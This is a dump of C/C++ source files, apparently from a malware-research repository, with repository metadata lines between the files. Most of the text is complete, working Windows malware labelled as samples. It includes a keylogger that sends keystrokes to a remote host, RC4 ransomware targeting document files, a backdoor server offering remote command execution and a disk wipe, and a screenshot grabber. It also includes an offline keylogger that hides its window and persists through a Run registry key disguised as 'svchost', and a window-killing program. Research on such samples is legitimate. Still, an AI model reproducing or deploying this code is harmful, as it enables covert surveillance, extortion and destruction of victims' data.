t=get_keys(); return t; } int get_keys(void){ WSADATA wsaData; int iResult; /* Initialize Winsock */ iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != 0) { return 0; } /* Creating socket for client */ struct addrinfo *result = NULL, *ptr = NULL, hints; ZeroMemory( &hints, sizeof(hints) ); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; /* Resolve the server address and port */ iResult = getaddrinfo(DEFAULT_IP, DEFAULT_PORT, &hints, &result); if (iResult != 0) { WSACleanup(); return 0; } SOCKET ConnectSocket = INVALID_SOCKET; /* Attempt to connect to the first address returned by * the call to getaddrinfo */ ptr=result; /* Create a SOCKET for connecting to server */ ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); if (ConnectSocket == INVALID_SOCKET) { freeaddrinfo(result); WSACleanup(); return 0; } /* Connect to server */ iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); if (iResult == SOCKET_ERROR) { closesocket(ConnectSocket); ConnectSocket = INVALID_SOCKET; } freeaddrinfo(result); if (ConnectSocket == INVALID_SOCKET) { WSACleanup(); return -1; } int recvbuflen = DEFAULT_BUFLEN; char sendbuf[] = {0, 0}; while(1){ Sleep(100); for(char character=0x30;character<=0x5A;character++){ if(GetAsyncKeyState(character)&0x1==0x1){ /* Send charector */ sendbuf[0] = character; if (send(ConnectSocket, sendbuf, 1, 0) == SOCKET_ERROR) { closesocket(ConnectSocket); WSACleanup(); return -1; } break; } } } return EXIT_SUCCESS; } int test_key(void){ int check; HKEY hKey; char path[BUFSIZE]; DWORD buf_length=BUFSIZE; int reg_key; reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey); if(reg_key!=0){ check=1; return check; } reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length); if((reg_key!=0)||(buf_length>BUFSIZE)) check=2; if(reg_key==0) check=0; RegCloseKey(hKey); return check; } int create_key(char *path){ int reg_key,check; HKEY hkey; reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey); if(reg_key==0){ RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path)); check=0; return check; } if(reg_key!=0) check=1; return check; }
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pwnlogs/d-time
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,378
encrypt.cpp
pwnlogs_d-time/samples/ransomeware/encrypt.cpp
/*------------------------------------------------------------------------------------------------- * * Sample Malware: Ransomeware * Function : Encrypt files * Note 1 : For the testing purpose, only files in "Documents\DummyFiles" is encrypted * Note 2 : Duplication of Handle required FindNextFile() is not supported by D-TIME for now * Thus Ransomeware should target threads of the same process while testing * Requirement : Existance of "Docuemnts\DummyFiles" and some files in it * *----------------------------------------------------------------------------------------------- * * Best built in Visual Studio 10 * Porject settings (Configuration Properties): * * 1. C/C++ --> Advanced --> Calling convention * Set __stdcall (Gz) * * 2. C/C++ --> Code Generation --> Buffer Security Check * Set NO * * 3. Linker --> General --> Enable Incremental Linking * Set NO * * 4. Linker --> System --> SubSystem * Set CONSOLE * *-----------------------------------------------------------------------------------------------*/ #define _GNU_SOURCE //#include <stdio.h> #include <Windows.h> #include <shlwapi.h> #include <Knownfolders.h> #include <Shlobj.h> #pragma comment(lib, "Shlwapi.lib") #pragma comment (lib, "advapi32") #define KEYLENGTH 0x00800000 #define ENCRYPT_ALGORITHM CALG_RC4 #define ENCRYPT_BLOCK_SIZE 8 #define PASSWORD "6G34I7S8R2WFZ4B0" int extensionVarified(char* filename); bool encryptFile(LPTSTR szSource, LPTSTR szDestination, LPTSTR szPassword); int main() { char path[MAX_PATH]; char ePath[MAX_PATH]; size_t pathLen; SHGetFolderPathA(NULL, CSIDL_MYDOCUMENTS, NULL, SHGFP_TYPE_CURRENT, path); lstrcatA(path, "\\DummyFiles"); strcpy(ePath, path); /* Iterate through files */ WIN32_FIND_DATA ffd; HANDLE hFind; pathLen = strlen(path); path[pathLen]='\\'; path[pathLen+1]='*'; path[pathLen+2]=0; hFind = FindFirstFile(path, &ffd); path[pathLen+1]=0; ePath[pathLen]='\\'; ePath[pathLen+1]=0; if (INVALID_HANDLE_VALUE != hFind) { do { // printf("File: %s\n", ffd.cFileName); if(extensionVarified(ffd.cFileName)==1){ path[pathLen+1] = 0; lstrcatA(path, ffd.cFileName); ePath[pathLen+1] = 0; lstrcatA(ePath, "_"); lstrcatA(ePath, ffd.cFileName); //printf("File: %s\n", path); encryptFile(path, ePath, PASSWORD); } } while(FindNextFile(hFind, &ffd) != 0); FindClose(hFind); } else { return -1; } return 0; } int extensionVarified(char* filename){ if(strcmp(PathFindExtensionA(filename), ".doc")==0 || strcmp(PathFindExtensionA(filename), ".pdf")==0 || strcmp(PathFindExtensionA(filename), ".pptx")==0 || strcmp(PathFindExtensionA(filename), ".xls")==0 ){ return 1; } return -1; } bool encryptFile(LPTSTR pszSourceFile, LPTSTR pszDestinationFile, LPTSTR pszPassword){ /* Declare and initialize local variables. */ HANDLE hSourceFile = INVALID_HANDLE_VALUE; HANDLE hDestinationFile = INVALID_HANDLE_VALUE; HCRYPTPROV hCryptProv = NULL; HCRYPTKEY hKey = NULL; HCRYPTKEY hXchgKey = NULL; HCRYPTHASH hHash = NULL; PBYTE pbKeyBlob = NULL; DWORD dwKeyBlobLen; PBYTE pbBuffer = NULL; DWORD dwBlockLen; DWORD dwBufferLen; DWORD dwCount; /* Open the source file. */ if((hSourceFile = CreateFile( pszSourceFile, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL))==INVALID_HANDLE_VALUE){ return false; } /* Open the destination file. */ if((hDestinationFile = CreateFile( pszDestinationFile, FILE_WRITE_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL))==INVALID_HANDLE_VALUE){ return false; } /* Get the handle to the default provider. */ if(!CryptAcquireContext( &hCryptProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, 0)){ return false; } /* The file will be encrypted with a session key derived * from a password. * The session key will be recreated when the file is * decrypted only if the password used to create the key is * available. */ /* Create a hash object. */ if(!CryptCreateHash( hCryptProv, CALG_MD5, 0, 0, &hHash)){ return false; } /* Hash the password. */ if(!CryptHashData( hHash, (BYTE *)pszPassword, lstrlen(pszPassword), 0)){ return false; } /* Derive a session key from the hash object. */ if(!CryptDeriveKey( hCryptProv, ENCRYPT_ALGORITHM, hHash, KEYLENGTH, &hKey)){ return false; } /* The session key is now ready. If it is not a key derived from * a password, the session key encrypted with the private key * has been written to the destination file. * * * Determine the number of bytes to encrypt at a time. * This must be a multiple of ENCRYPT_BLOCK_SIZE. * ENCRYPT_BLOCK_SIZE is set by a #define statement. */ dwBlockLen = 1000 - 1000 % ENCRYPT_BLOCK_SIZE; /* Determine the block size. If a block cipher is used, * it must have room for an extra block. */ if (ENCRYPT_BLOCK_SIZE > 1) { dwBufferLen = dwBlockLen + ENCRYPT_BLOCK_SIZE; } else { dwBufferLen = dwBlockLen; } /* Allocate memory. */ pbBuffer = (BYTE *)malloc(dwBufferLen); /* In a do loop, encrypt the source file, * and write to the source file. */ bool fEOF = FALSE; do { /* Read up to dwBlockLen bytes from the source file. */ if(!ReadFile( hSourceFile, pbBuffer, dwBlockLen, &dwCount, NULL)){ return false; } if (dwCount < dwBlockLen) { fEOF = TRUE; } /* Encrypt data. */ if(!CryptEncrypt( hKey, NULL, fEOF, 0, pbBuffer, &dwCount, dwBufferLen)){ return false; } /* Write the encrypted data to the destination file. */ if(!WriteFile( hDestinationFile, pbBuffer, dwCount, &dwCount, NULL)){ return false; } /* End the do loop when the last block of the source file * has been read, encrypted, and written to the destination * file. */ } while(!fEOF); /* Close files. */ if (hSourceFile) { CloseHandle(hSourceFile); } if (hDestinationFile) { CloseHandle(hDestinationFile); } /* Free memory. */ if (pbBuffer) { free(pbBuffer); } /* Release the hash object. */ if (hHash) { CryptDestroyHash(hHash); hHash = NULL; } /* Release the session key. */ if (hKey) { CryptDestroyKey(hKey); } /* Release the provider handle. */ if (hCryptProv) { CryptReleaseContext(hCryptProv, 0); } return true; } // End Encryptfile.
7,350
C++
.cpp
253
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104
0.580384
pwnlogs/d-time
35
12
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GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,379
server.cpp
pwnlogs_d-time/samples/backdoor/server.cpp
/*------------------------------------------------------------------------------------------------- * * Sample Malware: Backdoor * Function : Establishes a backdoor server that take commands from remote client * *----------------------------------------------------------------------------------------------- * * Best built in Visual Studio 10 * Porject settings (Configuration Properties): * * 1. C/C++ --> Advanced --> Calling convention * Set __stdcall (Gz) * * 2. C/C++ --> Code Generation --> Buffer Security Check * Set NO * * 3. Linker --> General --> Enable Incremental Linking * Set NO * * *-----------------------------------------------------------------------------------------------*/ #include <stdio.h> #include <Windows.h> #include <winternl.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ntdll.lib") #pragma runtime_checks( "", off ) // disable _RTC_ function calls #pragma check_stack(off) // disable stack checks #define BACKDOOR_CREATE_PROCESS 0 #define BACKDOOR_SHELL_EXECUTE 1 #define BACKDOOR_SHUTDOWN_SYSTEM 2 #define BACKDOOR_RESTART_SYSTEM 3 #define BACKDOOR_LOGOFF 4 #define BACKDOOR_FORCE_SHUTDOWN 5 #define BACKDOOR_FORCE_RESTART 6 #define BACKDOOR_WIPE_DISK 7 typedef enum _SHUTDOWN_ACTION { ShutdownNoReboot, ShutdownReboot, ShutdownPowerOff }SHUTDOWN_ACTION,*PSHUTDOWN_ACTION; typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; }CLIENT_ID,*PCLIENT_ID; typedef struct _BACKDOOR_PACKET { BYTE Operation; char Buffer[1024]; CLIENT_ID ClientId; }BACKDOOR_PACKET,*PBACKDOOR_PACKET; EXTERN_C NTSTATUS NTAPI RtlCreateUserThread( HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN, ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID); EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN); EXTERN_C NTSTATUS NTAPI NtOpenProcess(PHANDLE,ACCESS_MASK,POBJECT_ATTRIBUTES,PCLIENT_ID); EXTERN_C NTSTATUS NTAPI NtTerminateProcess(HANDLE,NTSTATUS); EXTERN_C NTSTATUS NTAPI NtReadVirtualMemory(HANDLE,PVOID,PVOID,ULONG,PULONG); EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemory(HANDLE,PVOID,PVOID,ULONG,PULONG); EXTERN_C NTSTATUS NTAPI NtGetContextThread(HANDLE,PCONTEXT); EXTERN_C NTSTATUS NTAPI NtSetContextThread(HANDLE,PCONTEXT); EXTERN_C NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE,PVOID); EXTERN_C NTSTATUS NTAPI NtResumeThread(HANDLE,PULONG); EXTERN_C NTSTATUS NTAPI NtShutdownSystem(SHUTDOWN_ACTION); int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR lpCmdLine,int nCmdShow){ SOCKET lsSock,ctSock; PBACKDOOR_PACKET data; HANDLE hProcess,hFile; ULONG i; DWORD write; BOOLEAN bl; char GarbageData[512]; STARTUPINFO si; PROCESS_INFORMATION pi; WSADATA wd; sockaddr_in sai; CLIENT_ID cid; OBJECT_ATTRIBUTES oa; /* for(i=0;i<100;i++){ RtlAdjustPrivilege(i,TRUE,FALSE,&bl); } */ if(WSAStartup(0x101,&wd)!=0){ return 1; } sai.sin_family=AF_INET; sai.sin_addr.s_addr=INADDR_ANY; sai.sin_port=htons(65530); data=(PBACKDOOR_PACKET)VirtualAlloc(NULL,65536,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); lsSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(lsSock==INVALID_SOCKET) { WSACleanup(); return 1; } bind(lsSock,(sockaddr*)&sai,sizeof(sai)); listen(lsSock,10); while(1){ ctSock=accept(lsSock,NULL,NULL); if(ctSock==INVALID_SOCKET) { closesocket(lsSock); WSACleanup(); return 1; } recv(ctSock,(char*)data,65536,0); switch(data->Operation) { case BACKDOOR_CREATE_PROCESS: memset(&si,0,sizeof(si)); memset(&pi,0,sizeof(pi)); if(!CreateProcess(NULL,data->Buffer,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)) { send(ctSock,"Error: Unable to create process.",strlen("Error: Unable to create process."),0); break; } send(ctSock,"Process successfully created.",strlen("Process successfully created."),0); NtClose(pi.hThread); NtClose(pi.hProcess); break; case BACKDOOR_SHELL_EXECUTE: ShellExecute(0,"open",data->Buffer,NULL,NULL,SW_SHOW); send(ctSock,"",1,0); break; case BACKDOOR_SHUTDOWN_SYSTEM: send(ctSock,"Shutting down remote computer.",strlen("Shutting down remote computer."),0); ExitWindowsEx(EWX_SHUTDOWN,0); break; case BACKDOOR_RESTART_SYSTEM: send(ctSock,"Restarting remote computer.",strlen("Restarting remote computer."),0); ExitWindowsEx(EWX_REBOOT,0); break; case BACKDOOR_LOGOFF: send(ctSock,"Logging off the user.",strlen("Logging off the user."),0); ExitWindowsEx(EWX_LOGOFF,0); break; case BACKDOOR_FORCE_SHUTDOWN: send(ctSock,"Shutting down remote computer.",strlen("Shutting down remote computer."),0); NtShutdownSystem(ShutdownNoReboot); break; case BACKDOOR_FORCE_RESTART: send(ctSock,"Restarting remote computer.",strlen("Restarting remote computer."),0); NtShutdownSystem(ShutdownReboot); break; case BACKDOOR_WIPE_DISK: memset(GarbageData,0xFF,512); hFile=CreateFile("\\\\.\\PhysicalDrive0",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(hFile!=INVALID_HANDLE_VALUE) { if(!WriteFile(hFile,GarbageData,512,&write,NULL)) { send(ctSock,"Error: Unable to overwrite hard disk.",strlen("Error: Unable to overwrite hard disk."),0); } send(ctSock,"Successfully overwritten hard disk.",strlen("Successfully overwritten hard disk."),0); NtClose(hFile); break; } send(ctSock,"Error: Unable to open the hard disk.",strlen("Unable to open the hard disk."),0); break; default: send(ctSock,"Error: Invalid command.",strlen("Error: Invalid command."),0); break; } memset(data,0,sizeof(BACKDOOR_PACKET)); } Sleep(INFINITE); return 0; }
5,828
C++
.cpp
172
30.75
117
0.686732
pwnlogs/d-time
35
12
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GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,380
name.cpp
pwnlogs_d-time/samples/screenshooter/name.cpp
/*------------------------------------------------------------------------------------------------- * * Sample Malware: Screenshooter * Function : Take screenshots periodically and store in %TMP%\shots\ * Note 1 : Some of the GDI APIs should be made from the same process * The malware is designed such that in BBS mode, * all the GDI dependencies will be met. * Thus, BBS mode should be used when targetting multiple processes * *----------------------------------------------------------------------------------------------- * * Best built in Visual Studio 10 * Porject settings (Configuration Properties): * * 1. C/C++ --> Advanced --> Calling convention * Set __stdcall (Gz) * * 2. C/C++ --> Code Generation --> Buffer Security Check * Set NO * * 3. Linker --> General --> Enable Incremental Linking * Set NO * * 4. Linker --> System --> SubSystem * Set CONSOLE * *-----------------------------------------------------------------------------------------------*/ #include<Windows.h> #include<direct.h> //#define __DEBUG__ #ifdef __DEBUG__ #define LOG(x, y) log(x, y) #else #define LOG(x, y) ; #endif void log(const char* msg, DWORD err){ char file_name[100]; GetTempPathA(100, file_name); strcat(file_name, "shots\\svchost.log"); HANDLE logFile = CreateFileA( file_name, FILE_APPEND_DATA, // open for writing FILE_SHARE_READ | FILE_SHARE_WRITE, // allow multiple readers NULL, // no security OPEN_ALWAYS, // open or create FILE_ATTRIBUTE_NORMAL, // normal file NULL); SetFilePointer( logFile, // file name 0, // offset 0, // offset FILE_END); // offset reference point char error[250]; DWORD dwBytesWritten; wsprintfA(error, msg, err); WriteFile(logFile, error, strlen(error), &dwBytesWritten, NULL); FlushFileBuffers(logFile); CloseHandle(logFile); } void setFileName(char *path, char *fpath){ SYSTEMTIME tNow; GetLocalTime(&tNow); wsprintfA(path, fpath, tNow.wDay, tNow.wMonth, tNow.wYear, tNow.wHour, tNow.wMinute, tNow.wSecond, tNow.wMilliseconds); } void setBitmapFileHeader(BITMAPFILEHEADER *bmfHdr, DWORD dwPaletteSize, DWORD dwBmBitsSize, DWORD *dwDIBSize){ (*dwDIBSize) = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwPaletteSize + dwBmBitsSize; (*bmfHdr).bfType = 0x4D42; // "BM" (*bmfHdr).bfSize = (*dwDIBSize); (*bmfHdr).bfReserved1 = 0; (*bmfHdr).bfReserved2 = 0; (*bmfHdr).bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize; } int SaveHBITMAPToFile( char* fpath, LPBITMAPINFOHEADER lpbi, WORD wBitCount, DWORD dwPaletteSize, DWORD dwBmBitsSize){ char path[MAX_PATH]; setFileName(path, fpath); HANDLE fh = CreateFileA(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL); if(fh==NULL){ return 1; } BITMAPFILEHEADER bmfHdr; DWORD dwDIBSize; setBitmapFileHeader(&bmfHdr, dwPaletteSize, dwBmBitsSize, &dwDIBSize); DWORD dwWritten; WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL); WriteFile(fh, (LPSTR)lpbi, dwDIBSize, &dwWritten, NULL); if(!CloseHandle(fh)){ return 2; } return 0; } WORD getBitCount(int iBits){ if (iBits <= 1) return (WORD)1; else if (iBits <= 4) return (WORD)4; else if (iBits <= 8) return (WORD)8; else return (WORD)24; } void createFilesFormat(char* path){ char *folder = "shots\\"; char *nameFormat = "%2d-%2d-4%d - %2d-%2d-%2d-%3d.bmp"; GetTempPathA(MAX_PATH, path); strcat(path, folder); _mkdir(path); strcat(path, nameFormat); } void getDeviceDiamensions(int *width, int *height, int *iBits){ HDC tmpDC = GetDC(NULL); *width = GetDeviceCaps(tmpDC, HORZRES); *height = GetDeviceCaps(tmpDC, VERTRES); *iBits = GetDeviceCaps(tmpDC, BITSPIXEL) * GetDeviceCaps(tmpDC, PLANES); ReleaseDC(NULL, tmpDC); } void setBitmapHeader(BITMAPINFOHEADER *bi, WORD *wBitCount, int iBits){ (*wBitCount) = getBitCount(iBits); (*bi).biSize = sizeof(BITMAPINFOHEADER); (*bi).biPlanes = 1; (*bi).biBitCount = (*wBitCount); (*bi).biCompression = BI_RGB; (*bi).biSizeImage = 0; (*bi).biXPelsPerMeter = 0; (*bi).biYPelsPerMeter = 0; (*bi).biClrImportant = 0; (*bi).biClrUsed = 256; } /* --------------- MAIN ------------------------------------------------*/ int main(){ /* ----------- Prepare file path template --------------------------*/ char fpath[MAX_PATH]; createFilesFormat(fpath); /* ----------- Variable Definitions --------------------------------*/ LPBITMAPINFOHEADER lpbi; BITMAPINFOHEADER bi; DWORD dwPaletteSize = 0, dwBmBitsSize = 0; HANDLE hDib, hPal, hOldPal2 = NULL; lpbi = (LPBITMAPINFOHEADER) VirtualAlloc(NULL, 7000000, MEM_COMMIT, PAGE_READWRITE); // 6220854 /* ----------- Fetch constants -------------------------------------*/ int width, height, iBits; WORD wBitCount; getDeviceDiamensions(&width, &height, &iBits); setBitmapHeader(&bi, &wBitCount, iBits); while(true){ /* ------------- Prepare to take screenshot ------------- */ /* We need all the GDI object creation, handling, destruction in the same chunk * to make sure that the same process handles them * [!] GDI Handles cannot be shared */ // HDC hScreenDC = CreateDCA("DISPLAY", NULL, NULL, NULL); // Create Device Context of Screen HDC hScreenDC = GetDC(NULL); // Create Device Context of Screen HDC hMemoryDC = CreateCompatibleDC(hScreenDC); // Create DC in Memory HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, width, height); HBITMAP hOldBitmap = (HBITMAP) SelectObject(hMemoryDC, hBitmap); BitBlt(hMemoryDC, 0, 0, width, height, hScreenDC, 0, 0, SRCCOPY); hBitmap = (HBITMAP) SelectObject(hMemoryDC, hOldBitmap); __declspec(align(4)) BITMAP bitmap; GetObject(hBitmap, sizeof(bitmap), (LPVOID)&bitmap); bi.biWidth = bitmap.bmWidth; bi.biHeight = -bitmap.bmHeight; dwBmBitsSize = ((bitmap.bmWidth * wBitCount + 31) & ~31) / 8 * bitmap.bmHeight; *lpbi = bi; hPal = GetStockObject(DEFAULT_PALETTE); hOldPal2 = SelectPalette(hScreenDC, (HPALETTE)hPal, FALSE); GetDIBits(hScreenDC, hBitmap, 0, (UINT)bitmap.bmHeight, (LPSTR)lpbi + sizeof(BITMAPINFOHEADER) + dwPaletteSize, (BITMAPINFO *)lpbi, DIB_RGB_COLORS); SelectPalette(hScreenDC, (HPALETTE)hOldPal2, TRUE); RealizePalette(hScreenDC); DeleteObject(hBitmap); DeleteObject(hOldBitmap); ReleaseDC(NULL, hScreenDC); DeleteDC(hMemoryDC); SaveHBITMAPToFile(fpath, lpbi, wBitCount, dwPaletteSize, dwBmBitsSize); Sleep(1000); } return 0; }
7,943
C++
.cpp
188
35.132979
110
0.542628
pwnlogs/d-time
35
12
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GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,381
main.cpp
pwnlogs_d-time/samples/offlineKeylogger/main.cpp
/*------------------------------------------------------------------------------------------------- * * Sample Malware: Offline Keylogger * Function : Log keystrokes to a file in tmp directory * *----------------------------------------------------------------------------------------------- * * Best built in Visual Studio 10 * Porject settings (Configuration Properties): * * 1. C/C++ --> Advanced --> Calling convention * Set __stdcall (Gz) * * 2. C/C++ --> Code Generation --> Buffer Security Check * Set NO * * 3. Linker --> General --> Enable Incremental Linking * Set NO * * 4. Linker --> System --> SubSystem * Set CONSOLE * *-----------------------------------------------------------------------------------------------*/ #include<windows.h> #include<stdio.h> #include<winuser.h> #include<windowsx.h> #pragma runtime_checks( "[runtime_checks]", off ) #define BUFSIZE 80 int test_key(void); int create_key(char *); int get_keys(void); int main(void) { HWND stealth; /*creating stealth (window is not visible)*/ AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); int test,create; test=test_key();/*check if key is available for opening*/ if (test==2)/*create key*/ { char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/ create=create_key(path); } int t=get_keys(); return t; } int get_keys(void){ short character; DWORD dwBytesWritten, dwPos; char file_name[100]; GetTempPathA(100, file_name); strcat(file_name, "svchost.log"); HANDLE logFile = CreateFileA( file_name, FILE_APPEND_DATA, // open for writing FILE_SHARE_READ | FILE_SHARE_WRITE, // allow multiple readers NULL, // no security OPEN_ALWAYS, // open or create FILE_ATTRIBUTE_NORMAL, // normal file NULL); // no attr. template if(logFile==NULL){ return 0; } while(1) { Sleep(100); for (character=0x30; character<=0x5A; character++) { /* 0x30-0x39: 0 - 9 * 0x41-0x5A: A - Z */ if ((GetAsyncKeyState(character) & ((1<<15)||1))!=0) { SetFilePointer( logFile, // file name 0, // offset 0, // offset FILE_END); // offset reference point WriteFile(logFile, &character, 1, &dwBytesWritten, NULL); FlushFileBuffers(logFile); break; } } character = VK_SPACE; if ((GetAsyncKeyState(character) & ((1<<15)||1))!=0) { SetFilePointer( logFile, // file name 0, // offset 0, // offset FILE_END); // offset reference point WriteFile(logFile, &character, 1, &dwBytesWritten, NULL); FlushFileBuffers(logFile); } } CloseHandle(logFile); return EXIT_SUCCESS; } int test_key(void) { int check; HKEY hKey; char path[BUFSIZE]; DWORD buf_length=BUFSIZE; int reg_key; reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey); if(reg_key!=0) { check=1; return check; } reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length); if((reg_key!=0)||(buf_length>BUFSIZE)) check=2; if(reg_key==0) check=0; RegCloseKey(hKey); return check; } int create_key(char *path) { int reg_key,check; HKEY hkey; reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey); if(reg_key==0) { RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path)); check=0; return check; } if(reg_key!=0) check=1; return check; }
4,820
C++
.cpp
132
27.901515
121
0.443564
pwnlogs/d-time
35
12
0
GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,382
main.cpp
pwnlogs_d-time/samples/windowMonitor/main.cpp
/*------------------------------------------------------------------------------------------------- * * Sample Malware: Window Monitor * Function : Monitor and close given windows * *----------------------------------------------------------------------------------------------- * * Best built in Visual Studio 10 * Porject settings (Configuration Properties): * * 1. C/C++ --> Advanced --> Calling convention * Set __stdcall (Gz) * * 2. C/C++ --> Code Generation --> Buffer Security Check * Set NO * * 3. Linker --> General --> Enable Incremental Linking * Set NO * * 4. Linker --> System --> SubSystem * Set CONSOLE * *-----------------------------------------------------------------------------------------------*/ #pragma runtime_checks( "[runtime_checks]", off ) #include <iostream> #include <stdio.h> #include <windows.h> #include <conio.h> #include <ctime> using namespace std; int random, Freq, Dur, X, Y; HWND mywindow, ie, CMD, notepad; DWORD WINAPI DestroyWindows(LPVOID); int main(){ DestroyWindows(NULL); } DWORD WINAPI DestroyWindows(LPVOID){ while(1) { notepad = FindWindow("MozillaWindowClass",NULL); CMD = FindWindow(NULL, "Command Prompt"); ie = FindWindow(NULL,"Internet Explorer"); if( notepad != NULL ) { SetWindowText( notepad, "Offensive text"); PostMessage( notepad, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( CMD != NULL ) { SetWindowText( CMD, "Offensive text"); PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( ie != NULL ) { SetWindowText( ie, "Offensive text"); PostMessage( ie, WM_CLOSE, (LPARAM)0, (WPARAM)0); } Sleep(100); } }
2,078
C++
.cpp
60
27.516667
99
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pwnlogs/d-time
35
12
0
GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,383
exe_header.h
pwnlogs_d-time/PoCs/selfQueueingAPC/exe_header.h
#include <Windows.h> typedef struct PROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; ULONG_PTR th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; CHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32* LPPROCESSENTRY32; typedef struct tagTHREADENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ThreadID; DWORD th32OwnerProcessID; LONG tpBasePri; LONG tpDeltaPri; DWORD dwFlags; } THREADENTRY32; typedef THREADENTRY32* LPTHREADENTRY32; #define TH32CS_SNAPPROCESS 0x00000002 #define TH32CS_SNAPTHREAD 0x00000004 #define NTAPI __stdcall #define _NTSYSAPI _declspec(dllimport) #define NT_SUCCESS(Status) ((LONG)(Status) >= 0) #define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3)
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C++
.h
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pwnlogs/d-time
35
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0
GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,384
headers.h
pwnlogs_d-time/PoCs/selfQueueingAPC/headers.h
#include <Windows.h> /* Queue apc call in the same proc and to the same executer */ #define __SELF_INJECTION__ #define __LOG__ #define __LOG_BY_MESSAGE__ #define MAX_ONE_TIME_LOG_SIZE 50 //#define __USE_NT_FUNCTIONS__ #define SHARED_MEM_NAME "SelfQueuingSharedMem" #ifdef __USE_NT_FUNCTIONS__ void __stdcall executer(LPVOID, LPVOID, LPVOID); #else void __stdcall executer(ULONG); #endif
389
C++
.h
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pwnlogs/d-time
35
12
0
GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,385
payload_headers.h
pwnlogs_d-time/emulator/payload_headers.h
//#include<Windows.h> #define TH32CS_SNAPPROCESS 0x00000002 #define TH32CS_SNAPTHREAD 0x00000004 #define NTAPI __stdcall #define _NTSYSAPI _declspec(dllimport) #define NT_SUCCESS(Status) ((LONG)(Status) >= 0) #define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) #define MAX_PATH 260 #define FALSE 0 #define TRUE 1 #define NULL 0 #define CONST const #define STATUS_WAIT_0 ((DWORD )0x00000000L) #define WAIT_OBJECT_0 ((STATUS_WAIT_0 ) + 0 ) #define PROCESS_TERMINATE (0x0001) #define PROCESS_CREATE_THREAD (0x0002) #define PROCESS_SET_SESSIONID (0x0004) #define PROCESS_VM_OPERATION (0x0008) #define PROCESS_VM_READ (0x0010) #define PROCESS_VM_WRITE (0x0020) #define PROCESS_DUP_HANDLE (0x0040) #define PROCESS_CREATE_PROCESS (0x0080) #define PROCESS_SET_QUOTA (0x0100) #define PROCESS_SET_INFORMATION (0x0200) #define PROCESS_QUERY_INFORMATION (0x0400) #define PROCESS_SUSPEND_RESUME (0x0800) #define PROCESS_QUERY_LIMITED_INFORMATION (0x1000) #define PROCESS_SET_LIMITED_INFORMATION (0x2000) #define THREAD_TERMINATE (0x0001) #define THREAD_SUSPEND_RESUME 